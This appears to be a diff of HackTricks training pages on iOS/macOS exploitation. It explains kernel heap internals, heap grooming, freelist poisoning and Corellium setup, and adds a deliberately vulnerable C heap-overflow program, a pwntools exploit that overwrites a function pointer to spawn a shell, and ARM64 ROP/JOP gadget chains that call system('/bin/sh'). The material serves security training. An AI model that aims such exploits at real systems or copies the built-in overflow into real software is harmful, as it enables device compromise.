- **Page Protection Layer (PPL)** is an iOS security mechanism that protects critical kernel-managed memory regions, especially those related to code signing and entitlements. It enforces strict write protections using the MMU (Memory Management Unit) and additional checks, ensuring that even privileged kernel code cannot arbitrarily modify sensitive pages. This prevents attackers who gain kernel-level execution from tampering with security-critical structures, making persistence and code-signing bypasses significantly harder.
|
||||
|
||||
## Old Kernel Heap (Pre-iOS 15 / Pre-A12 era)
|
||||
|
||||
The kernel used a **zone allocator** (`kalloc`) divided into fixed-size "zones."
|
||||
Each zone only stores allocations of a single size class.
|
||||
|
||||
From the screenshot:
|
||||
|
||||
| Zone Name | Element Size | Example Use |
|
||||
|----------------------|--------------|-----------------------------------------------------------------------------|
|
||||
| `default.kalloc.16` | 16 bytes | Very small kernel structs, pointers. |
|
||||
| `default.kalloc.32` | 32 bytes | Small structs, object headers. |
|
||||
| `default.kalloc.64` | 64 bytes | IPC messages, tiny kernel buffers. |
|
||||
| `default.kalloc.128` | 128 bytes | Medium objects like parts of `OSObject`. |
|
||||
| `default.kalloc.256` | 256 bytes | Larger IPC messages, arrays, device structures. |
|
||||
| … | … | … |
|
||||
| `default.kalloc.1280`| 1280 bytes | Large structures, IOSurface/graphics metadata. |
|
||||
|
||||
**How it worked:**
|
||||
- Each allocation request gets **rounded up** to the nearest zone size.
|
||||
(E.g., a 50-byte request lands in the `kalloc.64` zone).
|
||||
- Memory in each zone was kept in a **free list** — chunks freed by the kernel went back into that zone.
|
||||
- If you overflowed a 64-byte buffer, you’d overwrite the **next object in the same zone**.
|
||||
|
||||
This is why **heap spraying / feng shui** was so effective: you could predict object neighbors by spraying allocations of the same size class.
|
||||
|
||||
### The freelist
|
||||
|
||||
Inside each kalloc zone, freed objects weren’t returned directly to the system — they went into a freelist, a linked list of available chunks.
|
||||
|
||||
- When a chunk was freed, the kernel wrote a pointer at the start of that chunk → the address of the next free chunk in the same zone.
|
||||
|
||||
- The zone kept a HEAD pointer to the first free chunk.
|
||||
|
||||
- Allocation always used the current HEAD:
|
||||
|
||||
1. Pop HEAD (return that memory to the caller).
|
||||
|
||||
2. Update HEAD = HEAD->next (stored in the freed chunk’s header).
|
||||
|
||||
- Freeing pushed chunks back:
|
||||
|
||||
- `freed_chunk->next = HEAD`
|
||||
|
||||
- `HEAD = freed_chunk`
|
||||
|
||||
So the freelist was just a linked list built inside the freed memory itself.
|
||||
|
||||
Normal state:
|
||||
|
||||
```
|
||||
Zone page (64-byte chunks for example):
|
||||
[ A ] [ F ] [ F ] [ A ] [ F ] [ A ] [ F ]
|
||||
|
||||
Freelist view:
|
||||
HEAD ──► [ F ] ──► [ F ] ──► [ F ] ──► [ F ] ──► NULL
|
||||
(next ptrs stored at start of freed chunks)
|
||||
```
|
||||
|
||||
### Exploiting the freelist
|
||||
|
||||
Because the first 8 bytes of a free chunk = freelist pointer, an attacker could corrupt it:
|
||||
|
||||
1. **Heap overflow** into an adjacent freed chunk → overwrite its “next” pointer.
|
||||
|
||||
2. **Use-after-free** write into a freed object → overwrite its “next” pointer.
|
||||
|
||||
Then, on the next allocation of that size:
|
||||
|
||||
- The allocator pops the corrupted chunk.
|
||||
|
||||
- Follows the attacker-supplied “next” pointer.
|
||||
|
||||
- Returns a pointer to arbitrary memory, enabling fake object primitives or targeted overwrite.
|
||||
|
||||
Visual example of freelist poisoning:
|
||||
|
||||
```
|
||||
Before corruption:
|
||||
HEAD ──► [ F1 ] ──► [ F2 ] ──► [ F3 ] ──► NULL
|
||||
|
||||
After attacker overwrite of F1->next:
|
||||
HEAD ──► [ F1 ]
|
||||
(next) ──► 0xDEAD_BEEF_CAFE_BABE (attacker-chosen)
|
||||
|
||||
Next alloc of this zone → kernel hands out memory at attacker-controlled address.
|
||||
```
|
||||
|
||||
This freelist design made exploitation highly effective pre-hardening: predictable neighbors from heap sprays, raw pointer freelist links, and no type separation allowed attackers to escalate UAF/overflow bugs into arbitrary kernel memory control.
|
||||
|
||||
### Heap Grooming / Feng Shui
|
||||
The goal of heap grooming is to **shape the heap layout** so that when an attacker triggers an overflow or use-after-free, the target (victim) object sits right next to an attacker-controlled object.\
|
||||
That way, when memory corruption happens, the attacker can reliably overwrite the victim object with controlled data.
|
||||
|
||||
**Steps:**
|
||||
|
||||
1. Spray allocations (fill the holes)
|
||||
- Over time, the kernel heap gets fragmented: some zones have holes where old
|
||||
objects were freed.
|
||||
- The attacker first makes lots of dummy allocations to fill these gaps, so
|
||||
the heap becomes “packed” and predictable.
|
||||
|
||||
2. Force new pages
|
||||
- Once the holes are filled, the next allocations must come from new pages
|
||||
added to the zone.
|
||||
- Fresh pages mean objects will be clustered together, not scattered across
|
||||
old fragmented memory.
|
||||
- This gives the attacker much better control of neighbors.
|
||||
|
||||
3. Place attacker objects
|
||||
- The attacker now sprays again, creating lots of attacker-controlled objects
|
||||
in those new pages.
|
||||
- These objects are predictable in size and placement (since they all belong
|
||||
to the same zone).
|
||||
|
||||
4. Free a controlled object (make a gap)
|
||||
- The attacker deliberately frees one of their own objects.
|
||||
- This creates a “hole” in the heap, which the allocator will later reuse for
|
||||
the next allocation of that size.
|
||||
|
||||
5. Victim object lands in the hole
|
||||
- The attacker triggers the kernel to allocate the victim object (the one
|
||||
they want to corrupt).
|
||||
- Since the hole is the first available slot in the freelist, the victim is
|
||||
placed exactly where the attacker freed their object.
|
||||
|
||||
6. Overflow / UAF into victim
|
||||
- Now the attacker has attacker-controlled objects around the victim.
|
||||
- By overflowing from one of their own objects (or reusing a freed one), they
|
||||
can reliably overwrite the victim’s memory fields with chosen values.
|
||||
|
||||
**Why it works**:
|
||||
|
||||
- Zone allocator predictability: allocations of the same size always come from
|
||||
the same zone.
|
||||
- Freelist behavior: new allocations reuse the most recently freed chunk first.
|
||||
- Heap sprays: attacker fills memory with predictable content and controls layout.
|
||||
- End result: attacker controls where the victim object lands and what data sits
|
||||
next to it.
|
||||
|
||||
---
|
||||
|
||||
## Modern Kernel Heap (iOS 15+/A12+ SoCs)
|
||||
|
||||
Apple hardened the allocator and made **heap grooming much harder**:
|
||||
|
||||
### 1. From Classic kalloc to kalloc_type
|
||||
- **Before**: a single `kalloc.<size>` zone existed for each size class (16, 32, 64, … 1280, etc.). Any object of that size was placed there → attacker objects could sit next to privileged kernel objects.
|
||||
- **Now**:
|
||||
- Kernel objects are allocated from **typed zones** (`kalloc_type`).
|
||||
- Each type of object (e.g., `ipc_port_t`, `task_t`, `OSString`, `OSData`) has its own dedicated zone, even if they’re the same size.
|
||||
- The mapping between object type ↔ zone is generated from the **kalloc_type system** at compile time.
|
||||
|
||||
An attacker can no longer guarantee that controlled data (`OSData`) ends up adjacent to sensitive kernel objects (`task_t`) of the same size.
|
||||
|
||||
### 2. Slabs and Per-CPU Caches
|
||||
- The heap is divided into **slabs** (pages of memory carved into fixed-size chunks for that zone).
|
||||
- Each zone has a **per-CPU cache** to reduce contention.
|
||||
- Allocation path:
|
||||
1. Try per-CPU cache.
|
||||
2. If empty, pull from the global freelist.
|
||||
3. If freelist is empty, allocate a new slab (one or more pages).
|
||||
- **Benefit**: This decentralization makes heap sprays less deterministic, since allocations may be satisfied from different CPUs’ caches.
|
||||
|
||||
### 3. Randomization inside zones
|
||||
- Within a zone, freed elements are not handed back in simple FIFO/LIFO order.
|
||||
- Modern XNU uses **encoded freelist pointers** (safe-linking like Linux, introduced ~iOS 14).
|
||||
- Each freelist pointer is **XOR-encoded** with a per-zone secret cookie.
|
||||
- This prevents attackers from forging a fake freelist pointer if they gain a write primitive.
|
||||
- Some allocations are **randomized in their placement within a slab**, so spraying doesn’t guarantee adjacency.
|
||||
|
||||
### 4. Guarded Allocations
|
||||
- Certain critical kernel objects (e.g., credentials, task structures) are allocated in **guarded zones**.
|
||||
- These zones insert **guard pages** (unmapped memory) between slabs or use **redzones** around objects.
|
||||
- Any overflow into the guard page triggers a fault → immediate panic instead of silent corruption.
|
||||
|
||||
### 5. Page Protection Layer (PPL) and SPTM
|
||||
- Even if you control a freed object, you can’t modify all of kernel memory:
|
||||
- **PPL (Page Protection Layer)** enforces that certain regions (e.g., code signing data, entitlements) are **read-only** even to the kernel itself.
|
||||
- On **A15/M2+ devices**, this role is replaced/enhanced by **SPTM (Secure Page Table Monitor)** + **TXM (Trusted Execution Monitor)**.
|
||||
- These hardware-enforced layers mean attackers can’t escalate from a single heap corruption to arbitrary patching of critical security structures.
|
||||
|
||||
### 6. Large Allocations
|
||||
- Not all allocations go through `kalloc_type`.
|
||||
- Very large requests (above ~16KB) bypass typed zones and are served directly from **kernel VM (kmem)** via page allocations.
|
||||
- These are less predictable, but also less exploitable, since they don’t share slabs with other objects.
|
||||
|
||||
### 7. Allocation Patterns Attackers Target
|
||||
Even with these protections, attackers still look for:
|
||||
- **Reference count objects**: if you can tamper with retain/release counters, you may cause use-after-free.
|
||||
- **Objects with function pointers (vtables)**: corrupting one still yields control flow.
|
||||
- **Shared memory objects (IOSurface, Mach ports)**: these are still attack targets because they bridge user ↔ kernel.
|
||||
|
||||
But — unlike before — you can’t just spray `OSData` and expect it to neighbor a `task_t`. You need **type-specific bugs** or **info leaks** to succeed.
|
||||
|
||||
### Example: Allocation Flow in Modern Heap
|
||||
|
||||
Suppose userspace calls into IOKit to allocate an `OSData` object:
|
||||
|
||||
1. **Type lookup** → `OSData` maps to `kalloc_type_osdata` zone (size 64 bytes).
|
||||
2. Check per-CPU cache for free elements.
|
||||
- If found → return one.
|
||||
- If empty → go to global freelist.
|
||||
- If freelist empty → allocate a new slab (page of 4KB → 64 chunks of 64 bytes).
|
||||
3. Return chunk to caller.
|
||||
|
||||
**Freelist pointer protection**:
|
||||
- Each freed chunk stores the address of the next free chunk, but encoded with a secret key.
|
||||
- Overwriting that field with attacker data won’t work unless you know the key.
|
||||
|
||||
|
||||
## Comparison Table
|
||||
|
||||
| Feature | **Old Heap (Pre-iOS 15)** | **Modern Heap (iOS 15+ / A12+)** |
|
||||
|---------------------------------|------------------------------------------------------------|--------------------------------------------------|
|
||||
| Allocation granularity | Fixed size buckets (`kalloc.16`, `kalloc.32`, etc.) | Size + **type-based buckets** (`kalloc_type`) |
|
||||
| Placement predictability | High (same-size objects side by side) | Low (same-type grouping + randomness) |
|
||||
| Freelist management | Raw pointers in freed chunks (easy to corrupt) | **Encoded pointers** (safe-linking style) |
|
||||
| Adjacent object control | Easy via sprays/frees (feng shui predictable) | Hard — typed zones separate attacker objects |
|
||||
| Kernel data/code protections | Few hardware protections | **PPL / SPTM** protect page tables & code pages |
|
||||
| Exploit reliability | High with heap sprays | Much lower, requires logic bugs or info leaks |
|
||||
|
||||
## (Old) Physical Use-After-Free via IOSurface
|
||||
|
||||
{{#ref}}
|
||||
ios-physical-uaf-iosurface.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Ghidra Install BinDiff
|
||||
|
||||
Download BinDiff DMG from [https://www.zynamics.com/bindiff/manual](https://www.zynamics.com/bindiff/manual) and install it.
|
||||
|
||||
Open Ghidra with `ghidraRun` and go to `File` --> `Install Extensions`, press the add button and select the path `/Applications/BinDiff/Extra/Ghidra/BinExport` and click OK and isntall it even if there is a version mismatch.
|
||||
|
||||
### Using BinDiff with Kernel versions
|
||||
|
||||
1. Go to the page [https://ipsw.me/](https://ipsw.me/) and download the iOS versions you want to diff. These will be `.ipsw` files.
|
||||
2. Decompress until you get the bin format of the kernelcache of both `.ipsw` files. You have information on how to do this on:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-kernel-extensions.md
|
||||
{{#endref}}
|
||||
|
||||
3. Open Ghidra with `ghidraRun`, create a new project and load the kernelcaches.
|
||||
4. Open each kernelcache so they are automatically analyzed by Ghidra.
|
||||
5. Then, on the project Window of Ghidra, right click each kernelcache, select `Export`, select format `Binary BinExport (v2) for BinDiff` and export them.
|
||||
6. Open BinDiff, create a new workspace and add a new diff indicating as primary file the kernelcache that contains the vulnerability and as secondary file the patched kernelcache.
|
||||
|
||||
---
|
||||
|
||||
## Finding the right XNU version
|
||||
|
||||
If you want to check for vulnerabilities in a specific version of iOS, you can check which XNU release version the iOS version uses at [https://www.theiphonewiki.com/wiki/kernel]https://www.theiphonewiki.com/wiki/kernel).
|
||||
|
||||
For example, the versions `15.1 RC`, `15.1` and `15.1.1` use the version `Darwin Kernel Version 21.1.0: Wed Oct 13 19:14:48 PDT 2021; root:xnu-8019.43.1~1/RELEASE_ARM64_T8006`.
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
84
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
84
src/binary-exploitation/ios-exploiting/ios-corellium.md
Normal file
@ -0,0 +1,84 @@
|
||||
# iOS How to Connect to Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Prereqs**
|
||||
- A Corellium iOS VM (jailbroken or not). In this guide we assume you have access to Corellium.
|
||||
- Local tools: **ssh/scp**.
|
||||
- (Optional) **SSH keys** added to your Corellium project for passwordless logins.
|
||||
|
||||
|
||||
## **Connect to the iPhone VM from localhost**
|
||||
|
||||
### A) **Quick Connect (no VPN)**
|
||||
0) Add you ssh key in **`/admin/projects`** (recommended).
|
||||
1) Open the device page → **Connect**
|
||||
2) **Copy the Quick Connect SSH command** shown by Corellium and paste it in your terminal.
|
||||
3) Enter the password or use your key (recommended).
|
||||
|
||||
### B) **VPN → direct SSH**
|
||||
0) Add you ssh key in **`/admin/projects`** (recommended).
|
||||
1) Device page → **CONNECT** → **VPN** → download `.ovpn` and connect with any VPN client that supports TAP mode. (Check [https://support.corellium.com/features/connect/vpn](https://support.corellium.com/features/connect/vpn) if you have issues.)
|
||||
2) SSH to the VM’s **10.11.x.x** address:
|
||||
```bash
|
||||
ssh root@10.11.1.1
|
||||
```
|
||||
|
||||
## **Upload a native binary & execute it**
|
||||
|
||||
### 2.1 **Upload**
|
||||
- If Quick Connect gave you a host/port:
|
||||
```bash
|
||||
scp -J <domain> ./mytool root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
|
||||
- If using VPN (10.11.x.x):
|
||||
```bash
|
||||
scp ./mytool -J <domain> root@10.11.1.1:/var/root/mytool
|
||||
```
|
||||
|
||||
## **Upload & install an iOS app (.ipa)**
|
||||
|
||||
### Path A — **Web UI (fastest)**
|
||||
1) Device page → **Apps** tab → **Install App** → pick your `.ipa`.
|
||||
2) From the same tab you can **launch/kill/uninstall**.
|
||||
|
||||
### Path B — **Scripted via Corellium Agent**
|
||||
1) Use the API Agent to **upload** then **install**:
|
||||
```js
|
||||
// Node.js (pseudo) using Corellium Agent
|
||||
await agent.upload("./app.ipa", "/var/tmp/app.ipa");
|
||||
await agent.install("/var/tmp/app.ipa", (progress, status) => {
|
||||
console.log(progress, status);
|
||||
});
|
||||
```
|
||||
|
||||
### Path C — **Non-jailbroken (proper signing / Sideloadly)**
|
||||
- If you don’t have a provisioning profile, use **Sideloadly** to re-sign with your Apple ID, or sign in Xcode.
|
||||
- You can also expose the VM to Xcode using **USBFlux** (see §5).
|
||||
|
||||
|
||||
- For quick logs/commands without SSH, use the device **Console** in the UI.
|
||||
|
||||
## **Extras**
|
||||
|
||||
- **Port-forwarding** (make the VM feel local for other tools):
|
||||
```bash
|
||||
# Forward local 2222 -> device 22
|
||||
ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
|
||||
# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
|
||||
```
|
||||
|
||||
- **LLDB remote debugging**: use the **LLDB/GDB stub** address shown at the bottom of the device page (CONNECT → LLDB).
|
||||
|
||||
- **USBFlux (macOS/Linux)**: present the VM to **Xcode/Sideloadly** like a cabled device.
|
||||
|
||||
|
||||
## **Common pitfalls**
|
||||
- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs won’t launch.
|
||||
- **Quick Connect vs VPN**: Quick Connect is simplest; use **VPN** when you need the device on your local network (e.g., local proxies/tools).
|
||||
- **No App Store** on Corellium devices; bring your own (re)signed IPAs.
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -0,0 +1,213 @@
|
||||
# iOS How to Connect to Corellium
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vuln Code
|
||||
|
||||
```c
|
||||
#define _GNU_SOURCE
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
__attribute__((noinline))
|
||||
static void safe_cb(void) {
|
||||
puts("[*] safe_cb() called — nothing interesting here.");
|
||||
}
|
||||
|
||||
__attribute__((noinline))
|
||||
static void win(void) {
|
||||
puts("[+] win() reached — spawning shell...");
|
||||
fflush(stdout);
|
||||
system("/bin/sh");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
typedef void (*cb_t)(void);
|
||||
|
||||
typedef struct {
|
||||
cb_t cb; // <--- Your target: overwrite this with win()
|
||||
char tag[16]; // Cosmetic (helps make the chunk non-tiny)
|
||||
} hook_t;
|
||||
|
||||
static void fatal(const char *msg) {
|
||||
perror(msg);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
int main(void) {
|
||||
// Make I/O deterministic
|
||||
setvbuf(stdout, NULL, _IONBF, 0);
|
||||
|
||||
// Print address leak so exploit doesn't guess ASLR
|
||||
printf("[*] LEAK win() @ %p\n", (void*)&win);
|
||||
|
||||
// 1) Allocate the overflow buffer
|
||||
size_t buf_sz = 128;
|
||||
char *buf = (char*)malloc(buf_sz);
|
||||
if (!buf) fatal("malloc buf");
|
||||
memset(buf, 'A', buf_sz);
|
||||
|
||||
// 2) Allocate the hook object (likely adjacent in same magazine/size class)
|
||||
hook_t *h = (hook_t*)malloc(sizeof(hook_t));
|
||||
if (!h) fatal("malloc hook");
|
||||
h->cb = safe_cb;
|
||||
memcpy(h->tag, "HOOK-OBJ", 8);
|
||||
|
||||
// A tiny bit of noise to look realistic (and to consume small leftover holes)
|
||||
void *spacers[16];
|
||||
for (int i = 0; i < 16; i++) {
|
||||
spacers[i] = malloc(64);
|
||||
if (spacers[i]) memset(spacers[i], 0xCC, 64);
|
||||
}
|
||||
|
||||
puts("[*] You control a write into the 128B buffer (no bounds check).");
|
||||
puts("[*] Enter payload length (decimal), then the raw payload bytes.");
|
||||
|
||||
// 3) Read attacker-chosen length and then read that many bytes → overflow
|
||||
char line[64];
|
||||
if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
|
||||
unsigned long n = strtoul(line, NULL, 10);
|
||||
|
||||
// BUG: no clamp to 128
|
||||
ssize_t got = read(STDIN_FILENO, buf, n);
|
||||
if (got < 0) fatal("read");
|
||||
printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
|
||||
|
||||
// 4) Trigger: call the hook's callback
|
||||
puts("[*] Calling h->cb() ...");
|
||||
h->cb();
|
||||
|
||||
puts("[*] Done.");
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
Compile it with:
|
||||
|
||||
```bash
|
||||
clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
|
||||
```
|
||||
|
||||
|
||||
## Exploit
|
||||
|
||||
> [!WARNING]
|
||||
> This exploit is setting the env variable `MallocNanoZone=0` to disable the NanoZone. This is needed to get adjacent allocations when calling `malloc`with small sizes. Without this different mallocs will be allocated in different zones and won't be adjacent and therefore the overflow won't work as expected.
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
# Heap overflow exploit for macOS ARM64 CTF challenge
|
||||
#
|
||||
# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
|
||||
# a function pointer in an adjacent heap chunk.
|
||||
#
|
||||
# Key insights:
|
||||
# 1. macOS uses different heap zones for different allocation sizes
|
||||
# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
|
||||
# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
|
||||
#
|
||||
from pwn import *
|
||||
import re
|
||||
import sys
|
||||
import struct
|
||||
import platform
|
||||
|
||||
# Detect architecture and set context accordingly
|
||||
if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
|
||||
context.clear(arch='aarch64')
|
||||
else:
|
||||
context.clear(arch='amd64')
|
||||
|
||||
BIN = './heap_groom'
|
||||
|
||||
def parse_leak(line):
|
||||
m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
|
||||
if not m:
|
||||
log.failure("Couldn't parse leak")
|
||||
sys.exit(1)
|
||||
return int(m.group(1), 16)
|
||||
|
||||
def build_payload(win_addr, extra_pad=0):
|
||||
# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
|
||||
padding = b'A' * 128
|
||||
if extra_pad:
|
||||
padding += b'B' * extra_pad
|
||||
# Add the win address to overwrite the function pointer
|
||||
payload = padding + p64(win_addr)
|
||||
return payload
|
||||
|
||||
def main():
|
||||
# On macOS, we need to disable the Nano zone for adjacent allocations
|
||||
import os
|
||||
env = os.environ.copy()
|
||||
env['MallocNanoZone'] = '0'
|
||||
|
||||
# The correct padding with MallocNanoZone=0 is 432 bytes
|
||||
# This makes the total distance 560 bytes (128 buffer + 432 padding)
|
||||
# Try the known working value first, then alternatives in case of heap variation
|
||||
candidates = [
|
||||
432, # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
|
||||
424, # Try slightly less in case of alignment differences
|
||||
440, # Try slightly more
|
||||
416, # 16 bytes less
|
||||
448, # 16 bytes more
|
||||
0, # Direct adjacency (unlikely but worth trying)
|
||||
]
|
||||
|
||||
log.info("Starting heap overflow exploit for macOS...")
|
||||
|
||||
for extra in candidates:
|
||||
log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
|
||||
p = process(BIN, env=env)
|
||||
|
||||
# Read leak line
|
||||
leak_line = p.recvline()
|
||||
win_addr = parse_leak(leak_line)
|
||||
log.success(f"win() @ {hex(win_addr)}")
|
||||
|
||||
# Skip prompt lines
|
||||
p.recvuntil(b"Enter payload length")
|
||||
p.recvline()
|
||||
|
||||
# Build and send payload
|
||||
payload = build_payload(win_addr, extra_pad=extra)
|
||||
total_len = len(payload)
|
||||
|
||||
log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
|
||||
|
||||
# Send length and payload
|
||||
p.sendline(str(total_len).encode())
|
||||
p.send(payload)
|
||||
|
||||
# Check if we overwrote the function pointer successfully
|
||||
try:
|
||||
output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
|
||||
p.recvline(timeout=0.5) # Skip the "..." part
|
||||
|
||||
# Check if we hit win()
|
||||
response = p.recvline(timeout=0.5)
|
||||
if b"win() reached" in response:
|
||||
log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
|
||||
log.success("Shell spawned, entering interactive mode...")
|
||||
p.interactive()
|
||||
return
|
||||
elif b"safe_cb() called" in response:
|
||||
log.info(f"Failed with extra_pad={extra}, safe_cb was called")
|
||||
else:
|
||||
log.info(f"Failed with extra_pad={extra}, unexpected response")
|
||||
except:
|
||||
log.info(f"Failed with extra_pad={extra}, likely crashed")
|
||||
|
||||
p.close()
|
||||
|
||||
log.failure("All padding attempts failed. The heap layout might be different.")
|
||||
log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
```
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,6 +1,7 @@
|
||||
# iOS Exploiting
|
||||
# iOS Physical Use After Free via IOSurface
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Physical use-after-free
|
||||
|
||||
@ -66,7 +67,7 @@ A **physical use-after-free** (UAF) occurs when:
|
||||
|
||||
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
|
||||
|
||||
### Exploitation Strategy: Heap Spray
|
||||
### IOSurface Heap Spray
|
||||
|
||||
Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
|
||||
|
||||
@ -77,6 +78,13 @@ Since the attacker can’t control which specific kernel pages will be allocated
|
||||
|
||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||
|
||||
> [!TIP]
|
||||
> Be aware that iOS 16+ (A12+) devices bring hardware mitigations (like PPL or SPTM) that make physical UAF techniques far less viable.
|
||||
> PPL enforces strict MMU protections on pages related to code signing, entitlements, and sensitive kernel data, so, even if a page gets reused, writes from userland or compromised kernel code to PPL-protected pages are blocked.
|
||||
> Secure Page Table Monitor (SPTM) extends PPL by hardening page table updates themselves. It ensures that even privileged kernel code cannot silently remap freed pages or tamper with mappings without going through secure checks.
|
||||
> KTRR (Kernel Text Read-Only Region), which locks down the kernel’s code section as read-only after boot. This prevents any runtime modifications to kernel code, closing off a major attack vector that physical UAF exploits often rely on.
|
||||
> Moreover, `IOSurface` allocations are less predictable and harder to map into user-accessible regions, which makes the “magic value scanning” trick much less reliable. And `IOSurface` is now guarded by entitlements and sandbox restrictions.
|
||||
|
||||
### Step-by-Step Heap Spray Process
|
||||
|
||||
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
|
||||
@ -212,5 +220,4 @@ void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
||||
|
||||
With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,4 +1,4 @@
|
||||
# ROP - Return Oriented Programing
|
||||
# ROP & JOP
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -146,18 +146,149 @@ In this example:
|
||||
> [!TIP]
|
||||
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP).
|
||||
|
||||
## ROP chain in ARM64 Example
|
||||
|
||||
### **ARM64 Basics & Calling conventions**
|
||||
|
||||
Check the following page for this information:
|
||||
## ROP chain in ARM64
|
||||
|
||||
Regarding **ARM64 Basics & Calling conventions**, check the following page for this information:
|
||||
|
||||
{{#ref}}
|
||||
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Protections Against ROP
|
||||
> [!DANGER]
|
||||
> It's important to notice taht when jumping to a function using a ROP in **ARM64** you should jump to the 2nd instruction of the funciton (at least) to prevent storing in the stack the current stack pointer and end up in an eternal loop calling the funciton once and again.
|
||||
|
||||
### Finding gadgets in system Dylds
|
||||
|
||||
The system libraries comes compiled in one single file called **dyld_shared_cache_arm64**. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:
|
||||
|
||||
```bash
|
||||
scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
|
||||
# -Use -J if connecting through Corellium via Quick Connect
|
||||
```
|
||||
|
||||
Then, you cna use a couple of tools to extract the actual libraries from the dyld_shared_cache_arm64 file:
|
||||
|
||||
- [https://github.com/keith/dyld-shared-cache-extractor](https://github.com/keith/dyld-shared-cache-extractor)
|
||||
- [https://github.com/arandomdev/DyldExtractor](https://github.com/arandomdev/DyldExtractor)
|
||||
|
||||
```bash
|
||||
brew install keith/formulae/dyld-shared-cache-extractor
|
||||
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted
|
||||
```
|
||||
|
||||
Now, in order to find interesting gadgets for the binary you are exploiting, you first need to know which libraries are loaded by the binary. You can use *lldb** for this:
|
||||
|
||||
```bash
|
||||
lldb ./vuln
|
||||
br s -n main
|
||||
run
|
||||
image list
|
||||
```
|
||||
|
||||
Finally, you can use [**Ropper**](https://github.com/sashs/ropper) to find gadgets in the libraries you are interested in:
|
||||
|
||||
```bash
|
||||
# Install
|
||||
python3 -m pip install ropper --break-system-packages
|
||||
ropper --file libcache.dylib --search "mov x0"
|
||||
```
|
||||
|
||||
## JOP - Jump Oriented Programming
|
||||
|
||||
JOP is a similar technique to ROP, but each gadget, instead of using a RET instruction ad the end of the gadget, **it uses jump addresses**. This can be particularly useful in situations where ROP is not feasible, such as when there are no suitable gadgets available. This is commonly used in **ARM** architectures where the `ret` instruction is not as commonly used as in x86/x64 architectures.
|
||||
|
||||
You can use **`rop`** tools to find JOP gadgets also, for example:
|
||||
|
||||
```bash
|
||||
cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
|
||||
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0
|
||||
```
|
||||
|
||||
Let's see an example:
|
||||
|
||||
- There is a **heap overflow that allows us to overwrite a function pointer** stored in the heap that will be called.
|
||||
- **`x0`** is pointing to the heap where we control some space
|
||||
|
||||
- From the loaded system libraries we find the following gadgets:
|
||||
|
||||
```
|
||||
0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
|
||||
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
|
||||
```
|
||||
|
||||
- We can use the first gadget to load **`x0`** with a pointer to **`/bin/sh`** (stored in the heap) and then load **`x2`** from **`x0 + 0x30`** with the address of **`system`** and jump to it.
|
||||
|
||||
